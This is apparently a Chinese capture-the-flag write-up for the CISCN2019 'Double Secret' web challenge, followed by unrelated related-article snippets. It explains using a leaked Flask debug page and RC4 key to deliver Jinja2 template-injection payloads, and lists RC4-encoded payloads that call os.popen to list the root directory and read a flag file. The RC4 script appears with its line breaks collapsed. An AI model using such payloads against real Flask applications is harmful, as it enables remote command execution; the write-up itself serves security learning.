练[CISCN2019 华东南赛区]Double Secret

2023-10-11 05:20

本文主要是介绍练[CISCN2019 华东南赛区]Double Secret,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

[CISCN2019 华东南赛区]Double Secret

文章目录

      • [CISCN2019 华东南赛区]Double Secret
      • 掌握知识
      • 解题思路
      • 关键paylaod

在这里插入图片描述

掌握知识

flask框架报错源码泄露,使用脚本进行RC4加解,ssti使用内置函数进行模板注入

解题思路

  1. 打开网站链接,页面就一句话去发现秘密,尝试查看是不是个目录,发现还真是,又显示给我你的秘密我能给你加密,看着样子感觉是要传参,尝试secret为参数,随便输入点数据还真返回内容了,但确实没看懂是什么意思

image-20231010202146086

image-20231010202202835

image-20231010202155719

  1. 直到又随便输入了些内容,发现竟然报错了,看下面内容发现是flask框架,还是jinjia2模块,看来是传参进行ssti模板注入了。flask这报错界面可能存在源码泄露,前去查看一下app.py文件,明白了是怎么个回事了

image-20231010202405504

image-20231010202523193

  1. 对上面代码进行分析,接受网页传参,会把数据进行RC4解密,解密的得到的内容就能进行ssti模板注入了,所以需要将ssti模板注入paylaod进行RC4加密,进行传参利用,找了个在网站加密,但似乎不太行。这里的密钥也泄露了,就是解密函数的参数

image-20231010202809467

  1. 选择去网上找一个RC4的加密脚本,输入密钥和要执行的paylaod,将加密字符串进行传参。可以先构造{{7*7}}来检测是否存在ssti注入,传参之后页面回显49证明存在
import base64
from urllib.parse import quotedef rc4_main(key="init_key", message="init_message"):# print("RC4加密主函数")s_box = rc4_init_sbox(key)crypt = str(rc4_excrypt(message, s_box))return cryptdef rc4_init_sbox(key):s_box = list(range(256))  # 我这里没管秘钥小于256的情况,小于256不断重复填充即可# print("原来的 s 盒:%s" % s_box)j = 0for i in range(256):j = (j + s_box[i] + ord(key[i % len(key)])) % 256s_box[i], s_box[j] = s_box[j], s_box[i]# print("混乱后的 s 盒:%s"% s_box)return s_boxdef rc4_excrypt(plain, box):# print("调用加密程序成功。")res = []i = j = 0for s in plain:i = (i + 1) % 256j = (j + box[i]) % 256box[i], box[j] = box[j], box[i]t = (box[i] + box[j]) % 256k = box[t]res.append(chr(ord(s) ^ k))# print("res用于加密字符串,加密后是:%res" %res)cipher = "".join(res)print("加密后的字符串是:%s" % quote(cipher))# print("加密后的输出(经过编码):")# print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))return str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')rc4_main("key", "key")
  1. 先尝试使用jinjia2的注入paylaod,但似乎结果都不太好,试了两个都有报错。接下来尝试使用python基础的ssti模板注入paylaod,先查看一下有没有可以进行命令执行的类

image-20231010203357735

image-20231010203433640

  1. 将数据保存到notepad++中,将逗号替换成换行符,开始搜索常用的代码执行的类,但我所保存的能进行命令执行的类都不存在,寻找子类的方法没能成功

image-20231010203520784

  1. 但是还有另外一种方法,上面是最基础的,还有另外调用OS模板进行命令执行的方法,可以使用flask的内置函数中的内容,调用其内部的os模块进行命令执行,成功回显了目录信息

image-20231010203703720

image-20231010203732395

  1. 能成功执行代码,那后面就好办了,查看根目录下的目录信息,发现flag.txt文件,修改命令读取文件拿下flag

image-20231010203901990

image-20231010203906205

image-20231010203911141

image-20231010203915229

关键paylaod

{{7*7}}
.%14%0E%1F%C3%BD%1A%16{{[].__class__.__base__.__subclasses__()}}
.%14bh%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%91U%27%C2%B2m%C3%9F%3C5%C2%AE%2B%C2%9CP%C3%8F%3E%C3%A6%3E%C2%98H%C3%857%C3%8E%60%C2%ADf%C3%87{{url_for.__globals__.os.popen('ls /').read()}}
.%14LG%C2%A68%0Day%C3%93%C3%A7%2C%C2%B9%C2%BE%C3%B9%C2%AA5%C2%9FG%0B%C2%88%1C%C3%AFaD%C2%817%C2%99W%C3%82z%C2%A0%21%C2%98%0D%C2%99O%C2%B8f%C3%B6~%C3%9B%C2%89%C2%AA%24%13%C2%A0{{url_for.__globals__.os.popen('cat /flag.txt').read()}}
.%14LG%C2%A68%0Day%C3%93%C3%A7%2C%C2%B9%C2%BE%C3%B9%C2%AA5%C2%9FG%0B%C2%88%1C%C3%AFaD%C2%817%C2%99W%C3%82z%C2%A0.%C2%8AY%C2%96G%C3%B7%24%C3%A5%7C%C2%94%C2%99%C3%BAyI%C3%B4T%C2%B7%C2%B8Gh%2A%C2%A27q

这篇关于练[CISCN2019 华东南赛区]Double Secret的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/185815

相关文章

90、k8s之secret+configMap

一、secret配置管理 配置管理: 加密配置:保存密码,token,其他敏感信息的k8s资源 应用配置:我们需要定制化的给应用进行配置,我们需要把定制好的配置文件同步到pod当中容器 1.1、加密配置: secret: [root@master01 ~]# kubectl get secrets ##查看加密配置[root@master01 ~]# kubectl get se

C# double[] 和Matlab数组MWArray[]转换

C# double[] 转换成MWArray[], 直接赋值就行             MWNumericArray[] ma = new MWNumericArray[4];             double[] dT = new double[] { 0 };             double[] dT1 = new double[] { 0,2 };

2014年ACM/ICPC亚洲区现场赛广州赛区总结

本来不想提这件事的,后来学姐找我谈心时提到这件事,我突然意识到在这件事情上我错了一次,明明答应的去参加这场比赛,最后临时决定不去......其实中间有很多很多原因 1:我和tyh,sxk临时不去主要是广州太远,我们身上money不够,呵呵。。。别笑我们,你以为我们是高富帅啊,去一趟广州消费要2个月的生活费,奖学金又没发,你让我找我妈要她辛辛苦苦挣来的工资吗?!从哈尔滨到广州单来回的火车票每个人就

Error: label vector and instance matrix must be double的解决方法

在使用uci下载的数据时,建模时出现这个错误的解决方法 首先现在UCI上面下载数据 然后右键另存为就行了。这样我们就从UCI里面下载到了训练数据 在matlab 点 导入数据,数据类型要记得选第二个, 如果选择最后一个table就会出现这个问题 最后附上代码 %%之前先import wine.date IMPORTED DATA 设为Numeric Matrix (数值矩

【matlab】double和single类型

看到博客(这里)中说,在matlab中, 当数据比较大时,运算起来就困难了,有时候还会out of memory。原因是默认情况下matlab用double存储数据。而double数据类型占8个字节,single类型占4个字节。把数据类型从double类型转换成single类型可以节省一半的空间。(如果怀疑可以用whos指令查看)。本来很有道理的,但是看到有人说(比如这里):Th

[CISCN2019 华东南赛区]Web111

考点: xff ssti 打开看到页面存在IP和XFF,右上角是咱们自己的IP 看到现在,可以想到尝试一下xff,当我们bp抓包后,添加xff,我们可以发现右上角的Current IP发生了变化,并且当我们输入什么他就会变成什么,这时候就应该想到ssti注入了 进行注入发现是Smarty 模板注入(好像页面下面也有提示"Bulid with Smarty",……不过没关系),可以

java基本数据类型 以及 double float 二进制表示方法

Java 基本数据类型分为4类:整型,浮点型,字符型,布尔型。 整数类型: 关键字占用字节数byte1short2int4long8 每个类型的取值范围,我们以int 为例,4个字节是32位。 第一位是符号位,那么最大表示的正整数为:2^31 =‭2,147,483,648‬ byte 占用1字节 8位,最大的正整数为2^7 = 128 浮点型数据: 浮点数据类型分为两种:单精度浮

float 或 double 运算的时候会有精度丢失的风险?

《阿里巴巴 Java 开发手册》中提到:“浮点数之间的等值判断,基本数据类型不能用 == 来比较,包装数据类型不能用 equals 来判断”。“为了避免精度丢失,可以使用 BigDecimal 来进行浮点数的运算”。 浮点数的运算竟然还会有精度丢失的风险吗?确实会! 示例代码: float a = 2.0f - 1.9f;float b = 1.8f - 1.7f;System.out.

Educational Codeforces Round 1C. Nearest vectors(极角排序+long double 精度)

题目链接 题意:给你一堆的向量,问你向量之间的夹角最小的是那一对。 解法:极角排序,然后枚举相邻的一对就可以啦,但是坑爹的是double精度不够,使用long double 读入使用cin。。。 #include<bits/stdc++.h>using namespace std;#define LL long long#define pb push_back#define X f

double free

double free 内存问题 标签: stringbuffer多线程list语言c 2010-05-20 10:42  10963人阅读  评论(0)  收藏  举报   分类: C/C++(32)  double free 2008年06月02日 星期一 11:43 *** glibc detected *** free(): invalid